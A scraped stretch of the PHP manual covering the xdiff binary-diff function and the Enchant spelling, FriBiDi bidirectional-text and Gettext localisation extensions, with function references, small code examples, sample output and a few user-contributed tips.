    echo "New article:\n";
    echo $new_article;
}

if (strlen($errors)) {
    echo "Rejects: \n";
    echo $errors;
}

?>

See Also

  • xdiff_string_diff() - Make unified diff of two strings

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_patch_binary
xdiff_string_rabdiff
xdiff Functions


Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

xdiff_string_patch
Human Language and Character Encoding Support
xdiff Functions
PHP Manual

xdiff_string_rabdiff

(PECL xdiff >= 0.2.0)

xdiff_string_rabdiff — Make binary diff of two strings using the Rabin's polynomial fingerprinting algorithm

Description

string xdiff_string_bdiff ( string $old_data , string $new_data )

Makes a binary diff of two strings and returns the result. The difference between this function and xdiff_string_bdiff() is different algorithm used which should result in faster execution and smaller diff produced. This function works with both text and binary data. Resulting patch can be later applied using xdiff_string_bpatch()/xdiff_file_bpatch().

For more details about differences between algorithm used please check » libxdiff website.

Parameters

old_data

First string with binary data. It acts as "old" data.

new_data

Second string with binary data. It acts as "new" data.

Return Values

Returns string with binary diff containing differences between "old" and "new" data or FALSE if an internal error occurred.

See Also

  • xdiff_string_bpatch() - Patch a string with a binary diff

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_patch
Human Language and Character Encoding Support
xdiff Functions


Human Language and Character Encoding Support

  • Enchant — Enchant spelling library
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Enchant Functions
  • FriBiDi
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • FriBiDi Functions
  • Gettext
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Gettext Functions
  • iconv
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • iconv Functions
  • intl — Internationalization Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Collator — The Collator class
    • NumberFormatter — The NumberFormatter class
    • Locale — The Locale class
    • Normalizer — The Normalizer class
    • MessageFormatter — The MessageFormatter class
    • IntlDateFormatter — The IntlDateFormatter class
    • ResourceBundle — The ResourceBundle class
    • Spoofchecker — The Spoofchecker class
    • Transliterator — The Transliterator class
    • Grapheme Functions
    • IDN Functions
    • intl Functions
  • Multibyte String
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Summaries of supported encodings
    • Basics of Japanese multi-byte encodings
    • HTTP Input and Output
    • Supported Character Encodings
    • Function Overloading Feature
    • PHP Character Encoding Requirements
    • Multibyte String Functions
  • Pspell
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Pspell Functions
  • Recode — GNU Recode
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Recode Functions

User Contributed Notes

There are no user contributed notes for this page.
xdiff_string_rabdiff
Enchant
Function Reference


Enchant spelling library

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Enchant Functions
    • enchant_broker_describe — Enumerates the Enchant providers
    • enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag
    • enchant_broker_free_dict — Free a dictionary resource
    • enchant_broker_free — Free the broker resource and its dictionnaries
    • enchant_broker_get_error — Returns the last error of the broker
    • enchant_broker_init — create a new broker object capable of requesting
    • enchant_broker_list_dicts — Returns a list of available dictionaries
    • enchant_broker_request_dict — create a new dictionary using a tag
    • enchant_broker_request_pwl_dict — creates a dictionary using a PWL file
    • enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language
    • enchant_dict_add_to_personal — add a word to personal word list
    • enchant_dict_add_to_session — add 'word' to this spell-checking session
    • enchant_dict_check — Check whether a word is correctly spelled or not
    • enchant_dict_describe — Describes an individual dictionary
    • enchant_dict_get_error — Returns the last error of the current spelling-session
    • enchant_dict_is_in_session — whether or not 'word' exists in this spelling-session
    • enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions
    • enchant_dict_store_replacement — Add a correction for a word
    • enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.
Human Language and Character Encoding Support
Introduction
Human Language and Character Encoding Support


Introduction

Enchant is the PHP binding for the » Enchant library. Enchant steps in to provide uniformity and conformity on top of all spelling libraries, and implement certain features that may be lacking in any individual provider library. Everything should "just work" for any and every definition of "just working."

Enchat supports the following backends:

  • Aspell/Pspell (intends to replace Ispell)

  • Ispell (old as sin, could be interpreted as a defacto standard)

  • MySpell/Hunspell (an OOo projects, also used by Mozilla)

  • Uspell (primarily Yiddish, Hebrew, and Eastern European languages - hosted in AbiWord's CVS under the module "uspell")

  • Hspell (Hebrew)

  • AppleSpell (Mac OSX)

User Contributed Notes

There are no user contributed notes for this page.
Enchant
Installing/Configuring
Enchant


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Enchant


Requirements

This version uses the functions of the » Enchant library by Dom Lachowicz. You need Enchant 1.2.4 or later.

Enchant also requires » Glib 2.6 or greater. Pre-compiled Windows libraries are available from » http://ftp.gnome.org/pub/gnome/binaries/win32/glib/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is bundled with PHP as of PHP 5.3.0. Before this time, enchant was a PECL extension. Users of versions prior to 5.3.0 may use the » PECL extension.

Provided the required libraries are installed, users of PHP 5.3.0 or later may enable enchant by adding the --with-enchant[=dir] option when compiling PHP.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

There are two types of resources in this extension. The first one is the broker (backends manager) and the second is for the dictionary.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Enchant


Examples

Example #1 Enchant Usage Example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Current broker provides the following backend(s):\n";
print_r($bprovides);

$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);
    $dprovides = enchant_dict_describe($d);
    echo "dictionary $tag provides:\n";
    $wordcorrect = enchant_dict_check($d, "soong");
    print_r($dprovides);
    if (!$wordcorrect) {
        $suggs = enchant_dict_suggest($d, "soong");
        echo "Suggestions for 'soong':";
        print_r($suggs);
    }
    enchant_broker_free_dict($d);
} else {
}
enchant_broker_free($r);
?>

User Contributed Notes

iwanluijks at gmail dot com 13-Oct-2010 04:29
For more information on Enchant, check my latest blog-post at http://bit.ly/cGwmb7 . It describes setting up Enchant with PHP on Windows.
Predefined Constants
Enchant Functions
Enchant


Enchant Functions

Table of Contents

  • enchant_broker_describe — Enumerates the Enchant providers
  • enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict — Free a dictionary resource
  • enchant_broker_free — Free the broker resource and its dictionnaries
  • enchant_broker_get_error — Returns the last error of the broker
  • enchant_broker_init — create a new broker object capable of requesting
  • enchant_broker_list_dicts — Returns a list of available dictionaries
  • enchant_broker_request_dict — create a new dictionary using a tag
  • enchant_broker_request_pwl_dict — creates a dictionary using a PWL file
  • enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language
  • enchant_dict_add_to_personal — add a word to personal word list
  • enchant_dict_add_to_session — add 'word' to this spell-checking session
  • enchant_dict_check — Check whether a word is correctly spelled or not
  • enchant_dict_describe — Describes an individual dictionary
  • enchant_dict_get_error — Returns the last error of the current spelling-session
  • enchant_dict_is_in_session — whether or not 'word' exists in this spelling-session
  • enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions
  • enchant_dict_store_replacement — Add a correction for a word
  • enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.
Examples
enchant_broker_describe
Enchant


Enumerates the Enchant providers

Enchant Functions
enchant_broker_dict_exists
Enchant Functions
PHP Manual

enchant_broker_describe

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0)

enchant_broker_describe — Enumerates the Enchant providers

Description

array enchant_broker_describe ( resource $broker )

Enumerates the Enchant providers and tells you some rudimentary information about them. The same info is provided through phpinfo().

Parameters

broker

Broker resource

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 List the backends provided by the given broker

<?php
$r = enchant_broker_init();
$bprovides = enchant_broker_describe($r);
echo "Current broker provides the following backend(s):\n";
print_r($bprovides);

?>

The above example will output something similar to:

Current broker provides the following backend(s):
Array
(
    [0] => Array
        (
            [name] => aspell
            [desc] => Aspell Provider
            [file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [name] => hspell
            [desc] => Hspell Provider
            [file] => /usr/lib/enchant/libenchant_hspell.so
        )

    [2] => Array
        (
            [name] => ispell
            [desc] => Ispell Provider
            [file] => /usr/lib/enchant/libenchant_ispell.so
        )

    [3] => Array
        (
            [name] => myspell
            [desc] => Myspell Provider
            [file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

User Contributed Notes

There are no user contributed notes for this page.
Enchant Functions
enchant_broker_dict_exists
Enchant Functions


Whether a dictionary exists or not. Using non-empty tag

enchant_broker_describe
enchant_broker_free_dict
Enchant Functions
PHP Manual

enchant_broker_dict_exists

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_dict_exists — Whether a dictionary exists or not. Using non-empty tag

Description

bool enchant_broker_dict_exists ( resource $broker , string $tag )

Tells if a dictionary exists or not, using a non-empty tags

Parameters

broker

Broker resource

tag

non-empty tag in the LOCALE format, ex: us_US, ch_DE, etc.

Return Values

Returns TRUE when the tag exist or FALSE when not.

Examples

Example #1 A enchant_broker_dict_exists() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
    echo $tag . " dictionary found.\n";
}
?>

See Also

  • enchant_broker_describe() - Enumerates the Enchant providers

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_describe
enchant_broker_free_dict
Enchant Functions


Free a dictionary resource

enchant_broker_dict_exists
enchant_broker_free
Enchant Functions
PHP Manual

enchant_broker_free_dict

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_free_dict — Free a dictionary resource

Description

bool enchant_broker_free_dict ( resource $dict )

Free a dictionary resource.

Parameters

dict

Dictionary resource.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_request_dict() - create a new dictionary using a tag
  • enchant_broker_request_pwl_dict() - creates a dictionary using a PWL file

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_dict_exists
enchant_broker_free
Enchant Functions


Free the broker resource and its dictionnaries

enchant_broker_free_dict
enchant_broker_get_error
Enchant Functions
PHP Manual

enchant_broker_free

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_free — Free the broker resource and its dictionnaries

Description

bool enchant_broker_free ( resource $broker )

Free a broker resource with all its dictionaries.

Parameters

broker

Broker resource

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_init() - create a new broker object capable of requesting

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_free_dict
enchant_broker_get_error
Enchant Functions


Returns the last error of the broker

enchant_broker_free
enchant_broker_init
Enchant Functions
PHP Manual

enchant_broker_get_error

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_get_error — Returns the last error of the broker

Description

string enchant_broker_get_error ( resource $broker )

Returns the last error which occurred in this broker.

Parameters

broker

Broker resource.

Return Values

Return the msg string if an error was found or FALSE

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_free
enchant_broker_init
Enchant Functions


create a new broker object capable of requesting

enchant_broker_get_error
enchant_broker_list_dicts
Enchant Functions
PHP Manual

enchant_broker_init

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_init — create a new broker object capable of requesting

Description

resource enchant_broker_init ( void )

Parameters

Return Values

Returns a broker resource on success or FALSE.

See Also

  • enchant_broker_free() - Free the broker resource and its dictionnaries

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_get_error
enchant_broker_list_dicts
Enchant Functions


Returns a list of available dictionaries

enchant_broker_init
enchant_broker_request_dict
Enchant Functions
PHP Manual

enchant_broker_list_dicts

(PHP 5 >= 5.3.0, PECL enchant >= 1.0.1)

enchant_broker_list_dicts — Returns a list of available dictionaries

Description

mixed enchant_broker_list_dicts ( resource $broker )

Returns a list of available dictionaries with their details.

Parameters

broker

Broker resource

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 List all available dictionaries for one broker

<?php
$r = enchant_broker_init();
$dicts = enchant_broker_list_dicts($r);
print_r($dicts);
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [lang_tag] => de
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [1] => Array
        (
            [lang_tag] => de_DE
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [3] => Array
        (
            [lang_tag] => en
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [4] => Array
        (
            [lang_tag] => en_GB
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [5] => Array
        (
            [lang_tag] => en_US
            [provider_name] => aspell
            [provider_desc] => Aspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_aspell.so
        )

    [6] => Array
        (
            [lang_tag] => hi_IN
            [provider_name] => myspell
            [provider_desc] => Myspell Provider
            [provider_file] => /usr/lib/enchant/libenchant_myspell.so
        )

)

See Also

  • enchant_broker_describe() - Enumerates the Enchant providers

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_init
enchant_broker_request_dict
Enchant Functions


create a new dictionary using a tag

enchant_broker_list_dicts
enchant_broker_request_pwl_dict
Enchant Functions
PHP Manual

enchant_broker_request_dict

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_request_dict — create a new dictionary using a tag

Description

resource enchant_broker_request_dict ( resource $broker , string $tag )

create a new dictionary using tag, the non-empty language tag you wish to request a dictionary for ("en_US", "de_DE", ...)

Parameters

broker

Broker resource

tag

A tag describing the locale, for example en_US, de_DE

Return Values

Returns a dictionary resource on success or FALSE on failure.

Examples

Example #1 A enchant_broker_request_dict() example

Check if a dictionary exists using enchant_broker_dict_exists() and request it.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
    $dict = enchant_broker_request_dict($r, $tag);
}
?>

See Also

  • enchant_dict_describe() - Describes an individual dictionary
  • enchant_broker_dict_exists() - Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict() - Free a dictionary resource

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_list_dicts
enchant_broker_request_pwl_dict
Enchant Functions


creates a dictionary using a PWL file

enchant_broker_request_dict
enchant_broker_set_ordering
Enchant Functions
PHP Manual

enchant_broker_request_pwl_dict

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_request_pwl_dict — creates a dictionary using a PWL file

Description

resource enchant_broker_request_pwl_dict ( resource $broker , string $filename )

Creates a dictionary using a PWL file. A PWL file is personal word file one word per line.

Parameters

broker

Broker resource

filename

Path to the PWL file.

Return Values

Returns a dictionary resource on success or FALSE on failure.

See Also

  • enchant_dict_describe() - Describes an individual dictionary
  • enchant_broker_dict_exists() - Whether a dictionary exists or not. Using non-empty tag
  • enchant_broker_free_dict() - Free a dictionary resource

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_request_dict
enchant_broker_set_ordering
Enchant Functions


Declares a preference of dictionaries to use for the language

enchant_broker_request_pwl_dict
enchant_dict_add_to_personal
Enchant Functions
PHP Manual

enchant_broker_set_ordering

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_broker_set_ordering — Declares a preference of dictionaries to use for the language

Description

bool enchant_broker_set_ordering ( resource $broker , string $tag , string $ordering )

Declares a preference of dictionaries to use for the language described/referred to by 'tag'. The ordering is a comma delimited list of provider names. As a special exception, the "*" tag can be used as a language tag to declare a default ordering for any language that does not explicitly declare an ordering.

Parameters

broker

Broker resource

tag

Language tag. The special "*" tag can be used as a language tag to declare a default ordering for any language that does not explicitly declare an ordering.

ordering

Comma delimited list of provider names

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_request_pwl_dict
enchant_dict_add_to_personal
Enchant Functions


add a word to personal word list

enchant_broker_set_ordering
enchant_dict_add_to_session
Enchant Functions
PHP Manual

enchant_dict_add_to_personal

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_add_to_personal — add a word to personal word list

Description

void enchant_dict_add_to_personal ( resource $dict , string $word )

Add a word to personal word list of the given dictionary.

Parameters

dict

Dictionary resource

word

The word to add

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_request_pwl_dict() - creates a dictionary using a PWL file
  • enchant_broker_request_dict() - create a new dictionary using a tag

User Contributed Notes

There are no user contributed notes for this page.
enchant_broker_set_ordering
enchant_dict_add_to_session
Enchant Functions


add 'word' to this spell-checking session

enchant_dict_add_to_personal
enchant_dict_check
Enchant Functions
PHP Manual

enchant_dict_add_to_session

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_add_to_session — add 'word' to this spell-checking session

Description

void enchant_dict_add_to_session ( resource $dict , string $word )

Add a word to the given dictionary. It will be added only for the active spell-checking session.

Parameters

dict

Dictionary resource

word

The word to add

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • enchant_broker_request_dict() - create a new dictionary using a tag

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_add_to_personal
enchant_dict_check
Enchant Functions


Check whether a word is correctly spelled or not

enchant_dict_add_to_session
enchant_dict_describe
Enchant Functions
PHP Manual

enchant_dict_check

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_check — Check whether a word is correctly spelled or not

Description

bool enchant_dict_check ( resource $dict , string $word )

If the word is correctly spelled return TRUE, otherwise return FALSE

Parameters

dict

Dictionary resource

word

The word to check

Return Values

Returns TRUE if the word is spelled correctly, FALSE if not.

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_add_to_session
enchant_dict_describe
Enchant Functions


Describes an individual dictionary

enchant_dict_check
enchant_dict_get_error
Enchant Functions
PHP Manual

enchant_dict_describe

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_describe — Describes an individual dictionary

Description

mixed enchant_dict_describe ( resource $dict )

Returns the details of the dictionary.

Parameters

dict

Dictinaray resource

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A enchant_dict_describe() example

Check if a dictionary exists using enchant_broker_dict_exists() and show the detail of it.

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
    $dict = enchant_broker_request_dict($r, $tag);
    $dict_details = enchant_dict_describe($dict);
    print_r($dict_details);
}
?>

The above example will output something similar to:

Array
(
    [lang] => en_US
    [name] => aspell
    [desc] => Aspell Provider
    [file] => /usr/lib/enchant/libenchant_aspell.so
)

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_check
enchant_dict_get_error
Enchant Functions


Returns the last error of the current spelling-session

enchant_dict_describe
enchant_dict_is_in_session
Enchant Functions
PHP Manual

enchant_dict_get_error

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_get_error — Returns the last error of the current spelling-session

Description

string enchant_dict_get_error ( resource $dict )

Returns the last error of the current spelling-session

Parameters

dict

Dictinaray resource

Return Values

Returns the error message as string or FALSE if no error occurred.

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_describe
enchant_dict_is_in_session
Enchant Functions


whether or not 'word' exists in this spelling-session

enchant_dict_get_error
enchant_dict_quick_check
Enchant Functions
PHP Manual

enchant_dict_is_in_session

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_is_in_session — whether or not 'word' exists in this spelling-session

Description

bool enchant_dict_is_in_session ( resource $dict , string $word )

Tells whether or not a word already exists in the current session.

Parameters

dict

Dictionary resource

word

The word to lookup

Return Values

Returns TRUE if the word exists or FALSE

See Also

  • enchant_dict_add_to_session() - add 'word' to this spell-checking session

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_get_error
enchant_dict_quick_check
Enchant Functions


Check the word is correctly spelled and provide suggestions

enchant_dict_is_in_session
enchant_dict_store_replacement
Enchant Functions
PHP Manual

enchant_dict_quick_check

(PHP 5 >= 5.3.0, PECL enchant:0.2.0-1.0.1)

enchant_dict_quick_check — Check the word is correctly spelled and provide suggestions

Description

bool enchant_dict_quick_check ( resource $dict , string $word [, array &$suggestions ] )

If the word is correctly spelled return TRUE, otherwise return FALSE, if suggestions variable is provided, fill it with spelling alternatives.

Parameters

dict

Dictionary resource

word

The word to check

suggestions

If the word is not correctly spelled, this variable will contain an array of suggestions.

Return Values

Returns TRUE if the word is correctly spelled or FALSE

Examples

Example #1 A enchant_dict_quick_check() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();

if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);
    enchant_dict_quick_check($d, 'soong', $suggs);
    print_r($suggs);
}
?>

The above example will output something similar to:

Array
(
    [0] => song
    [1] => snog
    [2] => soon
    [3] => Sang
    [4] => Sung
    [5] => sang
    [6] => sung
    [7] => sponge
    [8] => spongy
    [9] => snag
    [10] => snug
    [11] => sonic
    [12] => sing
    [13] => songs
    [14] => Son
    [15] => Sonja
    [16] => Synge
    [17] => son
    [18] => Sejong
    [19] => sarong
    [20] => sooner
    [21] => Sony
    [22] => sown
    [23] => scone
    [24] => song's
)

See Also

  • enchant_dict_check() - Check whether a word is correctly spelled or not
  • enchant_dict_suggest() - Will return a list of values if any of those pre-conditions are not met

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_is_in_session
enchant_dict_store_replacement
Enchant Functions


Add a correction for a word

enchant_dict_quick_check
enchant_dict_suggest
Enchant Functions
PHP Manual

enchant_dict_store_replacement

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_store_replacement — Add a correction for a word

Description

void enchant_dict_store_replacement ( resource $dict , string $mis , string $cor )

Add a correction for 'mis' using 'cor'. Notes that you replaced @mis with @cor, so it's possibly more likely that future occurrences of @mis will be replaced with @cor. So it might bump @cor up in the suggestion list.

Parameters

dict

Dictionary resource

mis

The work to fix

cor

The correct word

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_quick_check
enchant_dict_suggest
Enchant Functions


Will return a list of values if any of those pre-conditions are not met

enchant_dict_store_replacement
FriBiDi
Enchant Functions
PHP Manual

enchant_dict_suggest

(PHP 5 >= 5.3.0, PECL enchant >= 0.1.0 )

enchant_dict_suggest — Will return a list of values if any of those pre-conditions are not met

Description

array enchant_dict_suggest ( resource $dict , string $word )

Parameters

dict

Dictionary resource

word

Word to use for the suggestions.

Return Values

Will returns an array of suggestions if the word is bad spelled.

Examples

Example #1 A enchant_dict_suggest() example

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);

    $wordcorrect = enchant_dict_check($d, "soong");
    if (!$wordcorrect) {
        $suggs = enchant_dict_suggest($d, "soong");
        echo "Suggestions for 'soong':";
        print_r($suggs);
    }
    enchant_broker_free_dict($d);
}
enchant_broker_free($r);
?>

See Also

  • enchant_dict_check() - Check whether a word is correctly spelled or not
  • enchant_dict_quick_check() - Check the word is correctly spelled and provide suggestions

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_store_replacement
FriBiDi
Enchant Functions


FriBiDi

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • FriBiDi Functions
    • fribidi_log2vis — Convert a logical string to a visual one

User Contributed Notes

There are no user contributed notes for this page.
enchant_dict_suggest
Introduction
Human Language and Character Encoding Support


Introduction

FriBiDi is a free implementation of the » Unicode Bidirectional Algorithm.

User Contributed Notes

There are no user contributed notes for this page.
FriBiDi
Installing/Configuring
FriBiDi


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
FriBiDi


Requirements

You must download and install the » FriBiDi package.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/fribidi.

In order to use these functions you must compile PHP with Fribidi support by using the --with-fribidi[=DIR] configure option.

Windows users will enable php_fribidi.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

FRIBIDI_CHARSET_UTF8 (integer)
Unicode
FRIBIDI_CHARSET_8859_6 (integer)
Arabic
FRIBIDI_CHARSET_8859_8 (integer)
Hebrew
FRIBIDI_CHARSET_CP1255 (integer)
Hebrew/Yiddish
FRIBIDI_CHARSET_CP1256 (integer)
Arabic
FRIBIDI_CHARSET_ISIRI_3342 (integer)
Persian
FRIBIDI_CHARSET_CAP_RTL (integer)
Used for test purposes, will treat CAPS as non-English letters
FRIBIDI_RTL (integer)
Right to left
FRIBIDI_LTR (integer)
Left to right
FRIBIDI_AUTO (integer)
Autodetect the base direction

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
FriBiDi Functions
FriBiDi


FriBiDi Functions

Table of Contents

  • fribidi_log2vis — Convert a logical string to a visual one

User Contributed Notes

webKami [at] akdomains.com 01-Apr-2005 12:58
To kill the curosity right here....

"Bidirectional" here means the merging of langauages that read from Left to Right (English, French, Spanish etc) with some Native languages that are read from Right to Left, (Arabic, Farsi, Urdu etc).

Problem arises where L2R sub-strings are inserted in R2L string or vice versa.

Like an arabic sub-string in an enlish text. Suppose the lower case is english and upper case in urdu, a bidirectional string may look like.

i drive my CAR daily

but it should not look like this, as CAR should be from L2R in display and in selection.

i drive my RAC daily

--
If you have read this far I am sure this is the topic you are looking for.
Continue your reading here http://fribidi.sourceforge.net/
Predefined Constants
fribidi_log2vis
FriBiDi


Convert a logical string to a visual one

FriBiDi Functions
Gettext
FriBiDi Functions
PHP Manual

fribidi_log2vis

(PHP 4 >= 4.0.4 and PHP 4 <= 4.1.0, PECL fribidi >= 1.0)

fribidi_log2vis — Convert a logical string to a visual one

Description

string fribidi_log2vis ( string $str , string $direction , int $charset )

Converts a logical string to a visual one.

Parameters

str

The logical string.

direction

One of FRIBIDI_RTL, FRIBIDI_LTR or FRIBIDI_AUTO.

charset

One of the FRIBIDI_CHARSET_XXX constants.

Return Values

Returns the visual string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
FriBiDi Functions
Gettext
FriBiDi Functions


Gettext

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Gettext Functions
    • bind_textdomain_codeset — Specify the character encoding in which the messages from the DOMAIN message catalog will be returned
    • bindtextdomain — Sets the path for a domain
    • dcgettext — Overrides the domain for a single lookup
    • dcngettext — Plural version of dcgettext
    • dgettext — Override the current domain
    • dngettext — Plural version of dgettext
    • gettext — Lookup a message in the current domain
    • ngettext — Plural version of gettext
    • textdomain — Sets the default domain

User Contributed Notes

laurent dot defoer at gmail dot com 16-Aug-2011 04:16
Function for resolved a Apache GetText Caching on developpement without restart Apache if you modify your po/mo files.

<?php
    public function translation() {

        if (GETTEXT_CACHING == 0) {
            $targetFolder = "locale/".$this->getlanguage."/LC_MESSAGES/";

            $folder = opendir($targetFolder);
            while (false !== ($file = readdir($folder))) {
                $pathFiles = $targetFolder."/".$file;
                if ($file != ".." AND $file != "." AND !is_dir($fichier) AND strrchr($file,'.') == '.mo' AND $file != 'default.mo') {
                    unlink($pathFiles);
                }
            }
            closedir($folder);

            $translatefile = 'default'.time();
            copy('locale/'.$this->getlanguage.'/LC_MESSAGES/default.mo',
                 'locale/'.$this->getlanguage.'/LC_MESSAGES/'.$translatefile.'.mo');
        } else $translatefile = 'default';

        setlocale(LC_ALL, $this->getlanguage);
        putenv("LC_ALL=".$this->getlanguage);
        bindtextdomain($translatefile, 'locale');
        textdomain($translatefile);
        bind_textdomain_codeset($translatefile, 'UTF-8');
    }
?>
yuricardenas at gmail dot com 21-Jun-2009 11:30
*An important thing to keep in mind*:
Do not forget to set the charset in .po file!
For example:

"Content-Type: text/plain; charset=UTF-8\n"

Then PHP will be able to find the .mo file you generated, using msgfmt, from the .po file WITH CHARSET SET.

Because of this I've wasted a lot of time debugging my code, testing every single little changes people suggested over this manual and Internet:

<?php

//this:
setlocale( LC_MESSAGES, 'pt_BR')
//or this:
setlocale( LC_MESSAGES, 'pt_BR.utf8')
//or this:
setlocale( LC_MESSAGES, '')

//this:
putenv("LANG=pt_BR.utf8");
//or this:
putenv("LANGUAGE=pt_BR.utf8");

//this:
bindtextdomain('mydomain', dirname(__FILE__).'/locale');
//or this:
bindtextdomain("*", dirname(__FILE__).'/locale');
//or this:
